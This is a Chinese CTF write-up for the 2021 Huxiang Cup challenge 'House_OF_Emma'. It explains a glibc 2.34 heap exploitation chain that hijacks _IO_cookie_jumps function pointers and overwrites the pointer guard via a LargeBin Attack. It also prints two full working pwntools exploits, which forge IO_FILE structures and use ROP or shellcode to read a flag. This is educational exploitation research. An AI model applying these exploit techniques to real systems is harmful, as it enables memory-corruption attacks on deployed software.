第七届“湖湘杯” House _OF _Emma | 设计思路与解析

 

本题由wjh师傅提供,赛后将该题的解法公开供大家学习交流。

 

00 楔子

在 2021 年 8 月 1 号发布的 GLIBC2.34 版本中,本应在 CTF 的 PWN 题中常用 Hook — free_hook 、 malloc_hook 被取消,同时有些题目的限制中,我们又无法构造出任意地址申请。

因此在新版中各种各样的限制下,迫使我们要转变思想:从以往的 任意地址申请 构成任意读写从而 Getshell ,转变为:在某处写一个可控地址直接 Getshell(借助于 IO_FILE)。显而易见的,后者的所需条件一定是少于前者的。

但是在新版本 glibc 下的 IO_FILE 攻击中,通常还是借助这两个 Hook 来辅助我们进行攻击,但并不适用于 GLIBC 2.34 版本,因此我们急需发现一个类似于__free_hook 这样的函数指针调用,从而来削弱 Getshell 的限制条件。

本文就是围绕着我所发现的一条适用于 GLIBC 2.34 及以下所有版本的 IO_File 调用链来展开。同时因为网上还未有人提出该条调用链,所以我将其命名为:House_OF_Emma

 

01 约法X章

此漏洞的使用前提需要有两大条件:

1.可以任意写一个可控地址(LargeBin Attack、Tcache Stashing Unlink Attack…)

2.可以触发 IO 流(FSOP、House OF Kiwi

 

02 致知力行

2.1 寻找合法的 vtable

在 vtable 的合法范围内,存在一个 _IO_cookie_jumps:

static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_cookie_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_file_setbuf),
  JUMP_INIT(sync, _IO_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_cookie_read),
  JUMP_INIT(write, _IO_cookie_write),
  JUMP_INIT(seek, _IO_cookie_seek),
  JUMP_INIT(close, _IO_cookie_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue),
};

我们知道,在 vtable 的检测中对具体位置的检测还是比较宽松的,这使得我们可以在一定的范围内对 vtable 表的起始位置进行偏移,使其我们在调用具体偏移是固定的情况下,可以通过偏移来调用在 vtable 表中的任意函数,因此我们考虑将其指定为以下几个函数。

static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (read_cb);
#endif

  if (read_cb == NULL)
    return -1;

  return read_cb (cfile->__cookie, buf, size);
}

static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (write_cb);
#endif

  if (write_cb == NULL)
    {
      fp->_flags |= _IO_ERR_SEEN;
      return 0;
    }

  ssize_t n = write_cb (cfile->__cookie, buf, size);
  if (n < size)
    fp->_flags |= _IO_ERR_SEEN;

  return n;
}

static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (seek_cb);
#endif

  return ((seek_cb == NULL
       || (seek_cb (cfile->__cookie, &offset, dir)
           == -1)
       || offset == (off64_t) -1)
      ? _IO_pos_BAD : offset);
}

static int
_IO_cookie_close (FILE *fp)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (close_cb);
#endif

  if (close_cb == NULL)
    return 0;

  return close_cb (cfile->__cookie);
}

这几个函数内存在任意函数指针调用,且函数指针来源于_IO_cookie_file 结构体,这个结构体是 _IO_FILE_plus 的扩展,如果我们可以控制 IO 的内容,大概率这部分的数据也是可控的,并且其的第一个参数也是来源于这个结构。所以我们可以把其当做一个类似于 __free_hook 的 Hook 来利用。

/* Special file type for fopencookie function.  */
struct _IO_cookie_file
{
  struct _IO_FILE_plus __fp;
  void *__cookie;
  cookie_io_functions_t __io_functions;
};

typedef struct _IO_cookie_io_functions_t
{
  cookie_read_function_t *read;        /* Read bytes.  */
  cookie_write_function_t *write;    /* Write bytes.  */
  cookie_seek_function_t *seek;        /* Seek/tell file position.  */
  cookie_close_function_t *close;    /* Close file.  */
} cookie_io_functions_t;

2.2 绕过 PTR_DEMANGLE

在上面的分析中,我们暂时忽略了一个可能会存在的问题,也就是在上面代码中函数指针调用前所执行的 PTR_DEMANGLE (指针保护)选项是默认开启的,这意味着我们需要解决指针加密的问题。

extern uintptr_t __pointer_chk_guard attribute_relro;
#  define PTR_MANGLE(var) \
  (var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
#  define PTR_DEMANGLE(var) PTR_MANGLE (var)

根据 GLIBC Wiki 上的解释 Pointer Encryption,我们可以得知这个是 GLIBC 的一项安全功能,用于增加攻击者在 GLIBC 结构中操纵指针(尤其是函数指针)的难度。这时,通过调试可以得知,这个值存在于 TLS 段上,将其 ROR 移位 0x11 后再与指针进行异或。

fs[0x30] 的值位于与 libc 相邻的 ld 空间中,这个位置距离 libc 地址的偏移固定,虽然我们无法泄露出这个位置随机值的内容,但是我们可以利用很多方法对其进行写入:

  1. Fastbin Reverse Into Tcache
  2. Tcache Stashing Unlink Attack
  3. LargeBin Attack

但无论使用什么方法,我们根本思想:还是让这个本来是随机的、不确定的异或值,转变为已知的地址。而通常在满足能够利用 IO_File 的情况下,这个前置要求都能够被满足。

2.3 实操可能会遇到的一些问题

在实际操作中,可能因为 stderr 的指针存放在 bss 段上,从而导致无法篡改。只能使用 exit 来触发 FSOP,但是又会发现如果通过 exit 来触发 FSOP,会遇到在 exit 中也有调用指针保护的函数指针执行,但此时的异或内容被我们所篡改,使得无法执行正确的函数地址,且此位置在 FSOP 之前,从而导致程序没有进入 IO 流就发生了错误。

这种时候就可以考虑构造两个 IO_FILE,且后者指针处于前者的 _chains 处,前者用 GLIBC2.24 之前的 IO_FILE 攻击 的思想在 __pointer_chk_guard 处写已知内容,后者再用 House_OF_Emma 来进行函数指针调用。

 

03 实战利用

这里以 2021 湖湘杯的 1 解题 House_OF_Emma 为例,这里的核心是使用 LargeBin Attack 来进行写入地址。

3.1 题目保护

Checksec:保护全开

开启了沙箱限制,不允许调用 execve

3.2 题目分析

题目是一个 VM 类的题目,要求输入 opcode。这里 vm 指令的分析不是本题的重点,我们主要来看漏洞点和如何利用。

在 add 函数中限制了堆块 SIZE 要在 0x410 到 0x500 范围内

在 delete 函数中释放后没有清空指针,可以造成 UAF

3.3 利用思想

由于没有办法退出读入 opcode 的主循环,所以可以尝试用 House OF Kiwi 来触发 IO,同时因为此题使用了 puts 进行输出,所以也可以考虑劫持 stdout 指针,这里选择前者来讲解。

  1. 使用 LargeBin Attack 来在 stderr 指针处写一个可控地址
  2. 使用 LargeBin Attack 在__pointer_chk_guard 处写一个已知地址
  3. 通过写入的已知地址与需要调用的函数指针进行构造加密,同时构造出合理的 IO_FILE 结构
  4. 利用 Unsorted Bin 会与 Top Chunk 合并的机制来修改 Top Chunk 的 Size,从而触发 House OF Kiwi 中的 IO 调用
  5. 进入 House_OF_Emma 的调用链,同时寻找一个能够转移 rdi 到 rdx 的 gadget,利用这个 gadget 来为 Setcontext 提供内容
  6. 利用 Setcontext 来执行 ROP 来 ORW

3.4 EXP

在 TLS 上的地址可能需要一些爆破来得到远程偏移,爆破的思路可以参考 通过 LIBC 基址来爆破 TLS

from pwn import *

context.log_level = "debug"
context.arch = "amd64"
# sh = process('./pwn')
sh = remote('127.0.0.1', 9999)
libc = ELF('./lib/libc.so.6')
all_payload = ""


def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)


def add(idx, size):
    global all_payload
    payload = p8(0x1)
    payload += p8(idx)
    payload += p16(size)
    all_payload += payload


def show(idx):
    global all_payload
    payload = p8(0x3)
    payload += p8(idx)
    all_payload += payload


def delete(idx):
    global all_payload
    payload = p8(0x2)
    payload += p8(idx)
    all_payload += payload


def edit(idx, buf):
    global all_payload
    payload = p8(0x4)
    payload += p8(idx)
    payload += p16(len(buf))
    payload += str(buf)
    all_payload += payload


def run_opcode():
    global all_payload
    all_payload += p8(5)
    sh.sendafter("Pls input the opcode", all_payload)
    all_payload = ""


# leak libc_base
add(0, 0x410)
add(1, 0x410)
add(2, 0x420)
add(3, 0x410)
delete(2)
add(4, 0x430)
show(2)
run_opcode()

libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1f30b0  # main_arena + 1104
log.success("libc_base:\t" + hex(libc_base))
libc.address = libc_base

guard = libc_base + 0x2035f0
pop_rdi_addr = libc_base + 0x2daa2
pop_rsi_addr = libc_base + 0x37c0a
pop_rax_addr = libc_base + 0x446c0
syscall_addr = libc_base + 0x883b6
gadget_addr = libc_base + 0x146020  # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext_addr = libc_base + 0x50bc0

# leak heapbase
edit(2, "a" * 0x10)
show(2)
run_opcode()
sh.recvuntil("a" * 0x10)
heap_base = u64(sh.recv(6).ljust(8, '\x00')) - 0x2ae0
log.success("heap_base:\t" + hex(heap_base))

# largebin attack stderr
delete(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(libc.sym['stderr'] - 0x20))
add(5, 0x430)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(0, 0x410)
add(2, 0x420)
run_opcode()

# largebin attack guard
delete(2)
add(6, 0x430)
delete(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
add(7, 0x450)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(2, 0x420)
add(0, 0x410)

# change top chunk size
delete(7)
add(8, 0x430)
edit(7, 'a' * 0x438 + p64(0x300))
run_opcode()

next_chain = 0
srop_addr = heap_base + 0x2ae0 + 0x10
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0)  # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)  # _IO_buf_base
fake_IO_FILE += p64(0)  # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(next_chain)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0)  # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libc.sym['_IO_cookie_jumps'] + 0x40)  # vtable
fake_IO_FILE += p64(srop_addr)  # rdi
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x22a0), 0x11))

fake_frame_addr = srop_addr
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1  # : ret

rop_data = [
    pop_rax_addr,  # sys_open('flag', 0)
    2,
    syscall_addr,

    pop_rax_addr,  # sys_read(flag_fd, heap, 0x100)
    0,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr,

    pop_rax_addr,  # sys_write(1, heap, 0x100)
    1,
    pop_rdi_addr,
    1,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr
]
payload = p64(0) + p64(fake_frame_addr) + '\x00' * 0x10 + p64(setcontext_addr + 61)
payload += str(frame).ljust(0xF8, '\x00')[0x28:] + 'flag'.ljust(0x10, '\x00') + flat(rop_data)

edit(0, fake_IO_FILE)
edit(2, payload)

add(8, 0x450)  # House OF Kiwi
# gdb.attach(sh, "b _IO_cookie_write")
run_opcode()
sh.interactive()

3.5 君有何策

在赛后看到了一篇来自山石网科的文章,讲的是glibc2.34版本下的最新攻击技巧,文章里使用的方法是在读入opcode时使用的malloc函数来申请tcache结构上的数据,从而构成任意地址申请读写。

但这并非 House OF Emma 这题考察的本意,利用 House OF Emma 的攻击手法,可以在无需申请出堆块的情况下来控制程序流程,同时这种方法也只要求单次的IO vtable调用即可,这种调用的要求是非常低的。

 

04 结语

相对于之前版本的 IO_FILE 调用来说,需要各式各样的构造才能够满足触发控制程序流程,这个利用所需的条件明显更少,并且威力更大。而这样绕过指针保护的思想其实并不止这一处可以使用,只要有指针保护的位置,我们都可以用这个思想来绕过。

 

05 逐鹿

比赛中的唯一解出此题的选手id为:风沐云烟,经选手同意,在此公开下他的exp:

from pwn import*
rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
context.binary = './main'
def add(index,size):
    return '\x01' + chr(index) + p16(size)
def free(index):
    return '\x02' + chr(index)
def show(index):
    return '\x03' + chr(index)
def edit(index,content):
    return '\x04' + chr(index) + p16(len(content)) + content
p = process('./main')
p = remote('123.57.132.168',23774)
libc = ELF('./libc-2.34.so')
payload = add(1,0x500)
payload += add(0,0x440) #0
payload += add(1,0x500) #1
payload += add(2,0x430) #2
payload += add(3,0x500) #3
payload += add(4,0x470) #4
payload += add(5,0x500) #5
payload += add(6,0x480) #6
payload += add(7,0x500) #7
payload += free(0)
payload += free(2)
payload += show(0)
payload += show(2)
payload += '\x05'
p.sendline(payload)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x1F2CC0
log.info('LIBC:\t' + hex(libc_base))
p.recvuntil('Show Done\n')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x22A0 - 0x510
log.info('HEAP:\t' + hex(heap_base))
payload = add(0,0x440) #0
payload += add(2,0x430) #2
payload += free(0)
payload += add(1,0x500)
payload += free(2)
payload += edit(0,p64(libc_base + 0x1F2CC0 - 0x60 + 1120)*2 + p64(heap_base + 0x2C00 + 0x510) + p64(libc_base - 0x2890 - 0x20))
payload += add(1,0x500)
payload += add(2,0x430)
payload += free(2)
payload += edit(0,p64(libc_base + 0x1F2CC0 - 0x60 + 1120)*2 + p64(heap_base + 0x2C00 + 0x510) + p64(libc_base + libc.sym['stderr'] - 0x20))
payload += add(1,0x500)
payload += add(2,0x430)
payload += free(2)
############
rand_key = heap_base + 0x27B0
fake_IO_FILE = '\x00'*0x20
fake_IO_FILE += '\x00'*0x28
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF)
fake_IO_FILE += p64(0) + p64(libc_base + 0x1F5720) + p64(0xFFFFFFFFFFFFFFFF)
fake_IO_FILE += p64(0) + p64(libc_base + 0x1F2980)
fake_IO_FILE += '\x00'*0x18 + p64(0xFFFFFFFF) + '\x00'*0x10 + p64(libc_base + 0x1F3AE0 + 0x40)
R = rol(((libc_base + 0x00000000001482BA ) ^ rand_key), 0x11, 64)
fake_IO_FILE += p64(heap_base + 0x27B0 + 0x100) + p64(0) + p64(R) + p64(0)
fake_IO_FILE += '\x00'*0x28 + p64(libc_base + 0x52D72) +'\x00'*0x18 + p64(heap_base + 0x27B0 + 0x100 + 0x50) + '\x00'*0x8 + p64(libc_base + 0x00000000001405A7) + p64(0) + p64(heap_base + 0x27B0 + 0x100) + p64(0)
pop_rdi_ret = libc_base + 0x000000000002DAA2
pop_rsi_ret = libc_base + 0x0000000000037C0A
pop_rdx_rbx = libc_base + 0x0000000000087729
fake_IO_FILE +='\x00'*0x20 + p64(pop_rdi_ret) + p64(heap_base) + p64(pop_rsi_ret) + p64(0x8000) + p64(pop_rdx_rbx) + p64(7) + p64(0)
fake_IO_FILE += p64(libc_base + libc.sym['mprotect']) + p64(heap_base + 0x27B0 + 0x100 + 0x100 - 0x20)
fake_IO_FILE += asm('''
mov rax, 0x67616c662f2e ;
push rax
mov rdi, rsp ;
mov rsi, 0 ;
xor rdx, rdx ;
mov rax, 2 ;
syscall
mov rdi, rax ;
mov rsi,rsp ;
mov rdx, 1024 ;
mov rax,0 ;
syscall
mov rdi, 1 ;
mov rsi, rsp ;
mov rdx, rax ;
mov rax, 1 ;
syscall
mov rdi, 0 ;
mov rax, 60
syscall
''')
############
payload += edit(0,p64(libc_base + 0x1F2CC0 - 0x60 + 1120)*2 + p64(heap_base + 0x2C00 + 0x510) + p64(libc_base + 0x1F2CC0 - 0x20) + fake_IO_FILE)
payload += add(1,0x500)
payload += '\x05'
p.sendline(payload) 
p.interactive()
(完)